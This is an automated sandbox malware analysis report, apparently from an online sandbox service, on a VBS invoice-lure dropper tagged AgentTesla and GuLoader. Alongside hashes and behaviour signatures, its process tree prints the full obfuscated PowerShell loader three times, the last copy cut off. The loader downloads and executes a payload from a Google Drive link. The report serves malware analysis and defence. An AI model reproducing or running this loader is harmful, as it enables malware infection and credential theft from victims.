Overview

overview

10

Static

static

1

DHL INVOICE-2356.vbs

windows7-x64

10

DHL INVOICE-2356.vbs

windows10-2004-x64

10

Analysis

  • max time kernel
    143s
  • max time network
    141s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-09-2024 15:25

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    DHL INVOICE-2356.vbs

  • Size

    43KB

  • MD5

    0c816e41fef783ec40ce2d7447d4c5dd

  • SHA1

    e0f156439fcba011174f92ef01a4a376b337314d

  • SHA256

    b828a42d31cb9bab2620c4c1def73499c542be4f19a802c08e9c0a0971192c3f

  • SHA512

    cb93ee840b711ad21cebb8f2d1f98aee087a166c320783de4913bfa70db5118780edd00d5df7712f9473452918f05d2ebad88f23280f10f97ded355b22bab7c3

  • SSDEEP

    768:B696nNHECqC68L+iyHNm4WH8xlDeVXQ8MuCzPvbG4O8/MsOAkieqfz7DIKFAR:g9Ge8LP4xxaQhlDDpUssRWnIKFAR

Score
10/10
agentteslaguloadercredential_accessdiscoverydownloaderexecutionkeyloggerspywarestealertrojan

Malware Config

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

    keyloggertrojanstealerspywareagenttesla
  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

    downloaderguloader
  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

    credential_accessstealer
  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DHL INVOICE-2356.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2356
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Antiracial Surrein Capron Underdraft Sixth #>;$Laanebelbets='Skinkels';<#Stabiliserende Amphiptere Wawled Kollaborer Dieselbilerne Kuldeblgernes Electrovection #>;$Trinitrotoluene=$host.PrivateData;If ($Trinitrotoluene) {$Uopnaaelighedens++;}function Unjagged($Stoicheiometry){$Spildevandsomraadernes=$Stoicheiometry.Length-$Uopnaaelighedens;for( $Odalborn=4;$Odalborn -lt $Spildevandsomraadernes;$Odalborn+=5){$Unclannishness+=$Stoicheiometry[$Odalborn];}$Unclannishness;}function hjreafledninger($Reembarcation){ & ($Forvaltningsregler) ($Reembarcation);}$Presystole=Unjagged 'InteMrenaoPandz ,eciudralUdarlAfskaEqu /U.te5Friz. ret0Phyl ,ubc( DogWWhiti PernMaskdGasboArduwKelss Be, Gl tNSv jTSw n S jn1Icic0 Pty.Fald0Vred; Ir, red,WSpili ExinDisa6retr4Puli;Sna, DrosxCoa,6Bygg4 ryd; on BannrHavnv U e: Tje1,ubl2fant1Bdde. Idm0ugun)Hono unmiGSticeSumpcIodik Rego P y/Relo2klie0Stik1 ort0Eddi0 Lis1 pun0Seem1Nuse P,lF CowiTagorPa.aeG,avf ResoRa.ix Ins/,lym1Nond2Tape1Non .,ver0Stor ';$Unadverse51=Unjagged 'NavnuB resPapeeLagerS.mi-W lkAMa.kGSnote dkoN Dert Mun ';$Violen=Unjagged ' Fush S vt xertKaldpMeadsHatt: Cre/Bra /NeapdMiddrOveriundevK nfeBe t.Anstg SkiounhaoFlergFirtlSeleeAlma.St,acM teoindemSpli/CremuPro cKnur?Rebee AttxDis.pChonoOutbrTarstUrfj= ardMagio ReswF,emnKorelforloCalca rupdForg&BraniB udd Tru=Torn1Frikk arg3 Fie-T.epMUsaglD leUBi tA antr Di,qSugg4WalkH DisAFaceXSpisGSamesH naMPaavz Ant5BuddHFdbo4HajedSkkeCPreabNo.pXUnemIK,ipCEudedTran0KbebCRemiWLaculConei Sam ';$Papillary=Unjagged 'Slv >nske ';$Forvaltningsregler=Unjagged 'EpidiAzimETallx Rat ';$Forfaldsdagene='Hebrere';$Vegetabilske = Unjagged 'KapieEti cA cohOblioSvin Hals%Konda StepAf,rpae,md upeau gatgia a T,d%Bran\DoglHLurveAf.anBetrfB laoLr reStr rFen.eCope.BimpFUndiesquemSepa Fo t&Fr m&Rich AnpreSalicUfr hPrizoStra D.pnt Spi ';hjreafledninger (Unjagged 'I ex$Efteg.verlT,sio RefbReenaAflol Tal:BremBForsaCrucnDesikRedra svrsFeltsSh riBomlsLnudt repe PronN yatUpd.=Arch(F dgcF mim ArkdMer Omgr/CambcCobu Fred$.urrV MorePaasgQuese.riatKobbaunrebUforilynelOdmasUnpikKosme isp)Ph l ');hjreafledninger (Unjagged 'Lnst$ Dy.gDuesl RevoTeleb GalaForelMop,:OpmaAuudfg TamrDom aT,mprInjusM li=Bela$ M tVAmatiParaoIcewl nameCa.enHear.Unwis eocpBon lU gei amptBow.( Sp.$O fiP,orsa metpUnyciPseulEccelAegiaLittrconcy,ryp) U d ');hjreafledninger (Unjagged ' Efo[SquiNOptne cidt Jus.W ndSAcroeGyser kitvFortiSummcMe ae ompP MiloAn hiLse,nProdtSlv,M Hvea ArbnMeanaPedigOr.bedelar at],vog: kst:OmveSDyspe .ppcBacku Ab.rTopaiCelltGassy SpiPUnbarKornoKristDataoUn,scEatrorabblNull Vin= luf orni[ PalN Ch,eTomatS.id.TrepS orsevindcSk puHover BefiS ortCoesyVrvlPCi kr avoAntitBilioTorscUnsmo dsvlSemiT An,yDi,lpHabseKlog] eko:Stre:G odT AfslHjtis Sce1Tils2Rage ');$Violen=$Agrars[0];$Strkbandagens= (Unjagged 'Geof$Ba,egKvatl,icroReboB GuaABurll lip:b ndAMycoRFo bIUneaS StiT PeroSolrd Ru.EAlmimC eeO ulacBookRDelmAN neCMi,iiDokueCit SUnc =Abron Stae ,onWStue-nedfOPoetBUnioj,ryseSpecCsareTRhiz HandSNormYVbrisHis TGen E MedMTetr.Fl.sNAkr eJ alT Nep.Red WPatwE.rtibKonvC .onl Do,IBaalEClamNPli T');$Strkbandagens+=$Bankassistent[1];hjreafledninger ($Strkbandagens);hjreafledninger (Unjagged ' Tea$terrASt,tr demiIleas ExotG gao inkdBewheTrafmOl goInfrcUru r nfaFacec dspi upe SitsVand.InveH P eeKri.a ,omdBiskeA derForssOmfo[Imp.$Dec UragenHjreamy md Belv B,neVerdrungks O.jeRegi5cyk 1 pha] ock= R.v$Ant PsewlrfollePhans Spay T.gsGenrtMealo MaulKorre .hi ');$Sexsymbolers=Unjagged 'Milj$Me aAPunkrKom.iKas sMenntBookoRapgdAn,ieHovem Beuo ubec Ri,rMa kaStatcFragiB,sbe VeksCh,l.MisfDUrteoSnftw hrnRee,l TraofireaDrindGuanF Invi u dl ldseIchn(Skri$ImpeVFortiSemio Perl iateEs inapp,, P a$FracS isenLandoThino UngtSeneiChurlFstnyEy.s) Lor ';$Snootily=$Bankassistent[0];hjreafledninger (Unjagged 'Haar$Oms gSpagLPic,o PinBFo daMi rl ,uc:Ky iRBaroAInceaTankFSherR HjrU S.agS jtT mbEUnfunRedn2Outr=A,ch( BehT F neBlgeSBud TKomp-PeliPFredA niTNekrHKomp Fag$ errsLuspn StrOEtfaoRitztDokuITillLRecaYJugg) em ');while (!$Raafrugten2) {hjreafledninger (Unjagged 'Oxli$WringLyd,l hanoL kfbWhifa Horl Pia:EngrE F rlForfiSli.gS geeExper,osseSambrS mm= Pr.$skaet rberKlatuEnkeeOp.a ') ;hjreafledninger $Sexsymbolers;hjreafledninger (Unjagged 'makuSPolytSalga HumrAksitTset-Res.SBondl D seTilfeNa upCin, Ansk4Odon ');hjreafledninger (Unjagged ' idd$SlaggOverl VanoHof.b cheaFro lTil.:RashRq.enaCaiqaStimfEksar .isu LysgTakktResseRedinBal.2Ka.c= .ut(WilgTReste kamsForftSapp- LvePStria ,nctFirehHard Nudd$ Fu SUopkn LacoHe so fortBambiBesml eflyRipt)Paaa ') ;hjreafledninger (Unjagged 'Fejl$ vgtgVoldlTechoKrisb G,uaBinglM ed:BridPSharaVekspYammiShi rAn,lvFejllG nbdT leeSipp= Add$ ensgTekslpairo urbPikna UbelWax :Kom fDe aaUdk lMi ad GrubMissy undd Udl+stat+Abn.% Meg$ClimAprovgTom r.eliaBundrThe.sGobb. Jamc asfoSyntuovn n udltkvie ') ;$Violen=$Agrars[$Papirvlde];}$Storaksen96=299653;$Mouritze=29124;hjreafledninger (Unjagged 'Flle$ReingPortlSo.roSv rbVitaaToksl Acr:po.iSLegacCrysr,iglaSussiPol g RhehInvae UnsdNann Pedr=Bond AbouGSpideBasktBust- IstCMicro Svan KortAfteeTabln LintTro Stru$MizeS IncnEkskoQuaco.blet KoniM,stlRok yLivs ');hjreafledninger (Unjagged 'Nong$Cat gSpinlTredo Supb ataE relyngl:So iAElimnU ebtAndehGarrrThoroMosqpStapoMaskg TraeFi voMonggH nirUbeaaSlaap,orjhA skiVi,lcAss,a Sk,lPja, F b=Paas Afst[OsdiSB,osyH.lss GastJu peDe rmAnsa.SignCEndioTr cnRegnvTu.le Hanr Albt F,l]Felt:De.e:CystF Synr aromusem eliBPl ta Gles,psleLif.6athe4LordS Dect oryrSermiRiannMolggDisq(K.rt$s.ydSSludcCo dr Gala S.fiDirigSa thDefae Ha,dTje ) ils ');hjreafledninger (Unjagged ' Non$ VedgAnkelInteo upebCharaBirclFri.:Sp aGEnteyRechmTetrnC,inaH mis cast H.li S.nkBarrf UnroPrivr H peDippnAfskifl unInspgUnree ncurLorr1Blde3Job 4 Sha Apoq=Rer U ed[MecuSPlysy aksElemtSempe,urtmS,em. SteTThe.eHinsxNredt Fl .SufiE.unknOvincDownoEle d fliiSkrbn InggForb] lde:Suve:ParaA Pr S PraCKoloIUn hISlib.LouiGDe,eeH,ngtTo aSHue t astr Wi,iStign tiegSeki(Jobn$PlunAMi.dnTwistNo.ehCunerTragoG.lepstaro Pl gS iteNatuoC,ung Si,rAldea ConpPre,h.kimi FlicTaalaKuraltvrd)hnse ');hjreafledninger (Unjagged 'Omst$WersgCorolBorto nsbCigaaB,wslAjle:S ylTretse sperEmeem PesoFimbs FintDrawaProntGabboMislv idwn Re e AlgnAs isEndh= O e$Svr,GEsloy vlmAn jnSinka WidsFremtphotiBacokThwafRaafoBetrrB lfeideonAppoiPectnfo,eg EnceDemorNels1Virk3Indr4Forr. ProsSynduelecb Om sKa.kt remrBr niPej,n,leugFors( J h$SvbeSSyg tSpedoVer rNedraSabrk FelsRedneRobanWauk9Isvr6Fi u,Re.s$ ermMTr,vo lekuBiosrlaboiPe.ptAd ez ejeunpo)C tg ');hjreafledninger $Termostatovnens;"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2128
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Henfoere.Fem && echo t"
        3⤵
          PID:3880
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /c ^"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe^" "<#Antiracial Surrein Capron Underdraft Sixth #>;$Laanebelbets='Skinkels';<#Stabiliserende Amphiptere Wawled Kollaborer Dieselbilerne Kuldeblgernes Electrovection #>;$Trinitrotoluene=$host.PrivateData;If ($Trinitrotoluene) {$Uopnaaelighedens++;}function Unjagged($Stoicheiometry){$Spildevandsomraadernes=$Stoicheiometry.Length-$Uopnaaelighedens;for( $Odalborn=4;$Odalborn -lt $Spildevandsomraadernes;$Odalborn+=5){$Unclannishness+=$Stoicheiometry[$Odalborn];}$Unclannishness;}function hjreafledninger($Reembarcation){ & ($Forvaltningsregler) ($Reembarcation);}$Presystole=Unjagged 'InteMrenaoPandz ,eciudralUdarlAfskaEqu /U.te5Friz. ret0Phyl ,ubc( DogWWhiti PernMaskdGasboArduwKelss Be, Gl tNSv jTSw n S jn1Icic0 Pty.Fald0Vred; Ir, red,WSpili ExinDisa6retr4Puli;Sna, DrosxCoa,6Bygg4 ryd; on BannrHavnv U e: Tje1,ubl2fant1Bdde. Idm0ugun)Hono unmiGSticeSumpcIodik Rego P y/Relo2klie0Stik1 ort0Eddi0 Lis1 pun0Seem1Nuse P,lF CowiTagorPa.aeG,avf ResoRa.ix Ins/,lym1Nond2Tape1Non .,ver0Stor ';$Unadverse51=Unjagged 'NavnuB resPapeeLagerS.mi-W lkAMa.kGSnote dkoN Dert Mun ';$Violen=Unjagged ' Fush S vt xertKaldpMeadsHatt: Cre/Bra /NeapdMiddrOveriundevK nfeBe t.Anstg SkiounhaoFlergFirtlSeleeAlma.St,acM teoindemSpli/CremuPro cKnur?Rebee AttxDis.pChonoOutbrTarstUrfj= ardMagio ReswF,emnKorelforloCalca rupdForg&BraniB udd Tru=Torn1Frikk arg3 Fie-T.epMUsaglD leUBi tA antr Di,qSugg4WalkH DisAFaceXSpisGSamesH naMPaavz Ant5BuddHFdbo4HajedSkkeCPreabNo.pXUnemIK,ipCEudedTran0KbebCRemiWLaculConei Sam ';$Papillary=Unjagged 'Slv >nske ';$Forvaltningsregler=Unjagged 'EpidiAzimETallx Rat ';$Forfaldsdagene='Hebrere';$Vegetabilske = Unjagged 'KapieEti cA cohOblioSvin Hals%Konda StepAf,rpae,md upeau gatgia a T,d%Bran\DoglHLurveAf.anBetrfB laoLr reStr rFen.eCope.BimpFUndiesquemSepa Fo t&Fr m&Rich AnpreSalicUfr hPrizoStra D.pnt Spi ';hjreafledninger (Unjagged 'I ex$Efteg.verlT,sio RefbReenaAflol Tal:BremBForsaCrucnDesikRedra svrsFeltsSh riBomlsLnudt repe PronN yatUpd.=Arch(F dgcF mim ArkdMer Omgr/CambcCobu Fred$.urrV MorePaasgQuese.riatKobbaunrebUforilynelOdmasUnpikKosme isp)Ph l ');hjreafledninger (Unjagged 'Lnst$ Dy.gDuesl RevoTeleb GalaForelMop,:OpmaAuudfg TamrDom aT,mprInjusM li=Bela$ M tVAmatiParaoIcewl nameCa.enHear.Unwis eocpBon lU gei amptBow.( Sp.$O fiP,orsa metpUnyciPseulEccelAegiaLittrconcy,ryp) U d ');hjreafledninger (Unjagged ' Efo[SquiNOptne cidt Jus.W ndSAcroeGyser kitvFortiSummcMe ae ompP MiloAn hiLse,nProdtSlv,M Hvea ArbnMeanaPedigOr.bedelar at],vog: kst:OmveSDyspe .ppcBacku Ab.rTopaiCelltGassy SpiPUnbarKornoKristDataoUn,scEatrorabblNull Vin= luf orni[ PalN Ch,eTomatS.id.TrepS orsevindcSk puHover BefiS ortCoesyVrvlPCi kr avoAntitBilioTorscUnsmo dsvlSemiT An,yDi,lpHabseKlog] eko:Stre:G odT AfslHjtis Sce1Tils2Rage ');$Violen=$Agrars[0];$Strkbandagens= (Unjagged 'Geof$Ba,egKvatl,icroReboB GuaABurll lip:b ndAMycoRFo bIUneaS StiT PeroSolrd Ru.EAlmimC eeO ulacBookRDelmAN neCMi,iiDokueCit SUnc =Abron Stae ,onWStue-nedfOPoetBUnioj,ryseSpecCsareTRhiz HandSNormYVbrisHis TGen E MedMTetr.Fl.sNAkr eJ alT Nep.Red WPatwE.rtibKonvC .onl Do,IBaalEClamNPli T');$Strkbandagens+=$Bankassistent[1];hjreafledninger ($Strkbandagens);hjreafledninger (Unjagged ' Tea$terrASt,tr demiIleas ExotG gao inkdBewheTrafmOl goInfrcUru r nfaFacec dspi upe SitsVand.InveH P eeKri.a ,omdBiskeA derForssOmfo[Imp.$Dec UragenHjreamy md Belv B,neVerdrungks O.jeRegi5cyk 1 pha] ock= R.v$Ant PsewlrfollePhans Spay T.gsGenrtMealo MaulKorre .hi ');$Sexsymbolers=Unjagged 'Milj$Me aAPunkrKom.iKas sMenntBookoRapgdAn,ieHovem Beuo ubec Ri,rMa kaStatcFragiB,sbe VeksCh,l.MisfDUrteoSnftw hrnRee,l TraofireaDrindGuanF Invi u dl ldseIchn(Skri$ImpeVFortiSemio Perl iateEs inapp,, P a$FracS isenLandoThino UngtSeneiChurlFstnyEy.s) Lor ';$Snootily=$Bankassistent[0];hjreafledninger (Unjagged 'Haar$Oms gSpagLPic,o PinBFo daMi rl ,uc:Ky iRBaroAInceaTankFSherR HjrU S.agS jtT mbEUnfunRedn2Outr=A,ch( BehT F neBlgeSBud TKomp-PeliPFredA niTNekrHKomp Fag$ errsLuspn StrOEtfaoRitztDokuITillLRecaYJugg) em ');while (!$Raafrugten2) {hjreafledninger (Unjagged 'Oxli$WringLyd,l hanoL kfbWhifa Horl Pia:EngrE F rlForfiSli.gS geeExper,osseSambrS mm= Pr.$skaet rberKlatuEnkeeOp.a ') ;hjreafledninger $Sexsymbolers;hjreafledninger (Unjagged 'makuSPolytSalga HumrAksitTset-Res.SBondl D seTilfeNa upCin, Ansk4Odon ');hjreafledninger (Unjagged ' idd$SlaggOverl VanoHof.b cheaFro lTil.:RashRq.enaCaiqaStimfEksar .isu LysgTakktResseRedinBal.2Ka.c= .ut(WilgTReste kamsForftSapp- LvePStria ,nctFirehHard Nudd$ Fu SUopkn LacoHe so fortBambiBesml eflyRipt)Paaa ') ;hjreafledninger (Unjagged 'Fejl$ vgtgVoldlTechoKrisb G,uaBinglM ed:BridPSharaVekspYammiShi rAn,lvFejllG nbdT leeSipp= Add$ ensgTekslpairo urbPikna UbelWax :Kom fDe aaUdk lMi ad GrubMissy undd Udl+stat+Abn.% Meg$ClimAprovgTom r.eliaBundrThe.sGobb. Jamc asfoSyntuovn n udltkvie ') ;$Violen=$Agrars[$Papirvlde];}$Storaksen96=299653;$Mouritze=29124;hjreafledninger (Unjagged 'Flle$ReingPortlSo.roSv rbVitaaToksl Acr:po.iSLegacCrysr,iglaSussiPol g RhehInvae UnsdNann Pedr=Bond AbouGSpideBasktBust- IstCMicro Svan KortAfteeTabln LintTro Stru$MizeS IncnEkskoQuaco.blet KoniM,stlRok yLivs ');hjreafledninger (Unjagged 'Nong$Cat gSpinlTredo Supb ataE relyngl:So iAElimnU ebtAndehGarrrThoroMosqpStapoMaskg TraeFi voMonggH nirUbeaaSlaap,orjhA skiVi,lcAss,a Sk,lPja, F b=Paas Afst[OsdiSB,osyH.lss GastJu peDe rmAnsa.SignCEndioTr cnRegnvTu.le Hanr Albt F,l]Felt:De.e:CystF Synr aromusem eliBPl ta Gles,psleLif.6athe4LordS Dect oryrSermiRiannMolggDisq(K.rt$s.ydSSludcCo dr Gala S.fiDirigSa thDefae Ha,dTje ) ils ');hjreafledninger (Unjagged ' Non$ VedgAnkelInteo upebCharaBirclFri.:Sp aGEnteyRechmTetrnC,inaH mis cast H.li S.nkBarrf UnroPrivr H peDippnAfskifl unInspgUnree ncurLorr1Blde3Job 4 Sha Apoq=Rer U ed[MecuSPlysy aksElemtSempe,urtmS,em. SteTThe.eHinsxNredt Fl .SufiE.unknOvincDownoEle d fliiSkrbn InggForb] lde:Suve:ParaA Pr S PraCKoloIUn hISlib.LouiGDe,eeH,ngtTo aSHue t astr Wi,iStign tiegSeki(Jobn$PlunAMi.dnTwistNo.ehCunerTragoG.lepstaro Pl gS iteNatuoC,ung Si,rAldea ConpPre,h.kimi FlicTaalaKuraltvrd)hnse ');hjreafledninger (Unjagged 'Omst$WersgCorolBorto nsbCigaaB,wslAjle:S ylTretse sperEmeem PesoFimbs FintDrawaProntGabboMislv idwn Re e AlgnAs isEndh= O e$Svr,GEsloy vlmAn jnSinka WidsFremtphotiBacokThwafRaafoBetrrB lfeideonAppoiPectnfo,eg EnceDemorNels1Virk3Indr4Forr. ProsSynduelecb Om sKa.kt remrBr niPej,n,leugFors( J h$SvbeSSyg tSpedoVer rNedraSabrk FelsRedneRobanWauk9Isvr6Fi u,Re.s$ ermMTr,vo lekuBiosrlaboiPe.ptAd ez ejeunpo)C tg ');hjreafledninger $Termostatovnens;"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2140
          • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Antiracial Surrein Capron Underdraft Sixth #>;$Laanebelbets='Skinkels';<#Stabiliserende Amphiptere Wawled Kollaborer Dieselbilerne Kuldeblgernes Electrovection #>;$Trinitrotoluene=$host.PrivateData;If ($Trinitrotoluene) {$Uopnaaelighedens++;}function Unjagged($Stoicheiometry){$Spildevandsomraadernes=$Stoicheiometry.Length-$Uopnaaelighedens;for( $Odalborn=4;$Odalborn -lt $Spildevandsomraadernes;$Odalborn+=5){$Unclannishness+=$Stoicheiometry[$Odalborn];}$Unclannishness;}function hjreafledninger($Reembarcation){ & ($Forvaltningsregler) ($Reembarcation);}$Presystole=Unjagged 'InteMrenaoPandz ,eciudralUdarlAfskaEqu /U.te5Friz. ret0Phyl ,ubc( DogWWhiti PernMaskdGasboArduwKelss Be, Gl tNSv jTSw n S jn1Icic0 Pty.Fald0Vred; Ir, red,WSpili ExinDisa6retr4Puli;Sna, DrosxCoa,6Bygg4 ryd; on BannrHavnv U e: Tje1,ubl2fant1Bdde. Idm0ugun)Hono unmiGSticeSumpcIodik Rego P y/Relo2klie0Stik1 ort0Eddi0 Lis1 pun0Seem1Nuse P,lF CowiTagorPa.aeG,avf ResoRa.ix Ins/,lym1Nond2Tape1Non .,ver0Stor ';$Unadverse51=Unjagged 'NavnuB resPapeeLagerS.mi-W lkAMa.kGSnote dkoN Dert Mun ';$Violen=Unjagged ' Fush S vt xertKaldpMeadsHatt: Cre/Bra /NeapdMiddrOveriundevK nfeBe t.Anstg SkiounhaoFlergFirtlSeleeAlma.St,acM teoindemSpli/CremuPro cKnur?Rebee AttxDis.pChonoOutbrTarstUrfj= ardMagio ReswF,emnKorelforloCalca rupdForg&BraniB udd Tru=Torn1Frikk arg3 Fie-T.epMUsaglD leUBi tA antr Di,qSugg4WalkH DisAFaceXSpisGSamesH naMPaavz Ant5BuddHFdbo4HajedSkkeCPreabNo.pXUnemIK,ipCEudedTran0KbebCRemiWLaculConei Sam ';$Papillary=Unjagged 'Slv >nske ';$Forvaltningsregler=Unjagged 'EpidiAzimETallx Rat ';$Forfaldsdagene='Hebrere';$Vegetabilske = Unjagged 'KapieEti cA cohOblioSvin Hals%Konda StepAf,rpae,md upeau gatgia a T,d%Bran\DoglHLurveAf.anBetrfB laoLr reStr rFen.eCope.BimpFUndiesquemSepa Fo t&Fr m&Rich AnpreSalicUfr hPrizoStra D.pnt Spi ';hjreafledninger (Unjagged 'I ex$Efteg.verlT,sio RefbReenaAflol Tal:BremBForsaCrucnDesikRedra svrsFeltsSh riBomlsLnudt repe PronN yatUpd.=Arch(F dgcF mim ArkdMer Omgr/CambcCobu Fred$.urrV MorePaasgQuese.riatKobbaunrebUforilynelOdmasUnpikKosme isp)Ph l ');hjreafledninger (Unjagged 'Lnst$ Dy.gDuesl RevoTeleb GalaForelMop,:OpmaAuudfg TamrDom aT,mprInjusM li=Bela$ M tVAmatiParaoIcewl nameCa.enHear.Unwis eocpBon lU gei amptBow.( Sp.$O fiP,orsa metpUnyciPseulEccelAegiaLittrconcy,ryp) U d ');hjreafledninger (Unjagged ' Efo[SquiNOptne cidt Jus.W ndSAcroeGyser kitvFortiSummcMe ae ompP MiloAn hiLse,nProdtSlv,M Hvea ArbnMeanaPedigOr.bedelar at],vog: kst:OmveSDyspe .ppcBacku Ab.rTopaiCelltGassy SpiPUnbarKornoKristDataoUn,scEatrorabblNull Vin= luf orni[ PalN Ch,eTomatS.id.TrepS orsevindcSk puHover BefiS ortCoesyVrvlPCi kr avoAntitBilioTorscUnsmo dsvlSemiT An,yDi,lpHabseKlog] eko:Stre:G odT AfslHjtis Sce1Tils2Rage ');$Violen=$Agrars[0];$Strkbandagens= (Unjagged 'Geof$Ba,egKvatl,icroReboB GuaABurll lip:b ndAMycoRFo bIUneaS StiT PeroSolrd Ru.EAlmimC eeO ulacBookRDelmAN neCMi,iiDokueCit SUnc =Abron Stae ,onWStue-nedfOPoetBUnioj,ryseSpecCsareTRhiz HandSNormYVbrisHis TGen E MedMTetr.Fl.sNAkr eJ alT Nep.Red WPatwE.rtibKonvC .onl Do,IBaalEClamNPli T');$Strkbandagens+=$Bankassistent[1];hjreafledninger ($Strkbandagens);hjreafledninger (Unjagged ' Tea$terrASt,tr demiIleas ExotG gao inkdBewheTrafmOl goInfrcUru r nfaFacec dspi upe SitsVand.InveH P eeKri.a ,omdBiskeA derForssOmfo[Imp.$Dec UragenHjreamy md Belv B,neVerdrungks O.jeRegi5cyk 1 pha] ock= R.v$Ant PsewlrfollePhans Spay T.gsGenrtMealo MaulKorre .hi ');$Sexsymbolers=Unjagged 'Milj$Me aAPunkrKom.iKas sMenntBookoRapgdAn,ieHovem Beuo ubec Ri,rMa kaStatcFragiB,sbe VeksCh,l.MisfDUrteoSnftw hrnRee,l TraofireaDrindGuanF Invi u dl ldseIchn(Skri$ImpeVFortiSemio Perl iateEs inapp,, P a$FracS isenLandoThino UngtSeneiChurlFstnyEy.s) Lor ';$Snootily=$Bankassistent[0];hjreafledninger (Unjagged 'Haar$Oms gSpagLPic,o PinBFo daMi rl ,uc:Ky iRBaroAInceaTankFSherR HjrU S.agS jtT mbEUnfunRedn2Outr=A,ch( BehT F neBlgeSBud TKomp-PeliPFredA niTNekrHKomp Fag$ errsLuspn StrOEtfaoRitztDokuITillLRecaYJugg) em ');while (!$Raafrugten2) {hjreafledninger (Unjagged 'Oxli$WringLyd,l hanoL kfbWhifa Horl Pia:EngrE F rlForfiSli.gS geeExper,osseSambrS mm= Pr.$skaet rberKlatuEnkeeOp.a ') ;hjreafledninger $Sexsymbolers;hjreafledninger (Unjagged 'makuSPolytSalga HumrAksitTset-Res.SBondl D seTilfeNa upCin, Ansk4Odon ');hjreafledninger (Unjagged ' idd$SlaggOverl VanoHof.b cheaFro lTil.:RashRq.enaCaiqaStimfEksar .isu LysgTakktResseRedinBal.2Ka.c= .ut(WilgTReste kamsForftSapp- LvePStria ,nctFirehHard Nudd$ Fu SUopkn LacoHe so fortBambiBesml eflyRipt)Paaa ') ;hjreafledninger (Unjagged 'Fejl$ vgtgVoldlTechoKrisb G,uaBinglM ed:BridPSharaVekspYammiShi rAn,lvFejllG nbdT leeSipp= Add$ ensgTekslpairo urbPikna UbelWax :Kom fDe aaUdk lMi ad GrubMissy undd Udl+stat+Abn.% Meg$ClimAprovgTom r.eliaBundrThe.sGobb. Jamc asfoSyntuovn n udltkvie ') ;$Violen=$Agrars[$Papirvlde];}$Storaksen96=299653;$Mouritze=29124;hjreafledninger (Unjagged 'Flle$ReingPortlSo.roSv rbVitaaToksl Acr:po.iSLegacCrysr,iglaSussiPol g RhehInvae UnsdNann Pedr=Bond AbouGSpideBasktBust- IstCMicro Svan KortAfteeTabln LintTro Stru$MizeS IncnEkskoQuaco.blet KoniM,stlRok yLivs ');hjreafledninger (Unjagged 'Nong$Cat gSpinlTredo Supb ataE relyngl:So iAElimnU ebtAndehGarrrThoroMosqpStapoMaskg TraeFi voMonggH nirUbeaaSlaap,orjhA skiVi,lcAss,a Sk,lPja, F b=Paas Afst[OsdiSB,osyH.lss GastJu peDe rmAnsa.SignCEndioTr cnRegnvTu.le Hanr Albt F,l]Felt:De.e:CystF Synr aromusem eliBPl ta Gles,psleLif.6athe4LordS Dect oryrSermiRiannMolggDisq(K.rt$s.ydSSludcCo dr Gala S.fiDirigSa thDefae Ha,dTje ) ils ');hjreafledninger (Unjagged ' Non$ VedgAnkelInteo upebCharaBirclFri.:Sp aGEnteyRechmTetrnC,inaH mis cast H.li S.nkBarrf UnroPrivr H peDippnAfskifl unInspgUnree ncurLorr1Blde3Job 4 Sha Apoq=Rer U ed[MecuSPlysy aksElemtSempe,urtmS,em. SteTThe.eHinsxNredt Fl .SufiE.unknOvincDownoEle d fliiSkrbn InggForb] lde:Suve:ParaA Pr S PraCKoloIUn hISlib.LouiGDe,eeH,ngtTo aSHue t astr Wi,iStign tiegSeki(Jobn$PlunAMi.dnTwistNo.ehCunerTragoG.lepstaro Pl gS iteNatuoC,ung Si,rAldea ConpPre,h.kimi FlicTaalaKuraltvrd)hnse ');hjreafledninger (Unjagged 'Omst$WersgCorolBorto nsbCigaaB,wslAjle:S ylTretse sperEmeem PesoFimbs FintDrawaProntGabboMislv idwn Re e AlgnAs isEndh= O e$Svr,GEsloy vlmAn jnSinka WidsFremtphotiBacokThwafRaafoBetrrB lfeideonAppoiPectnfo,eg EnceDemorNels1Virk3Indr4Forr. ProsSynduelecb Om sKa.kt remrBr niPej,n,leugFors( J h$SvbeSSyg tSpedoVer 